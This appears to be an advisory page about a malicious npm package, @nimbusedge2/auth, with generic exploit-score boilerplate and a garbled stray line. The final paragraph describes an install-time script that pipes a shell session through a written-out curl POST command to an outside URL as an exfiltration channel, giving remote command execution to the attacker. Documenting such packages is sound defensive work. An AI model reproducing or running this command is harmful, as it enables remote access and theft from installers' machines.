Malicious code in @nimbusedge2/auth (npm)
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Published--- _-= Per source details.

The same script pipes the shell session through `curl -s -m 5 -X POST --data-binary @-` to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at `npm install` time.
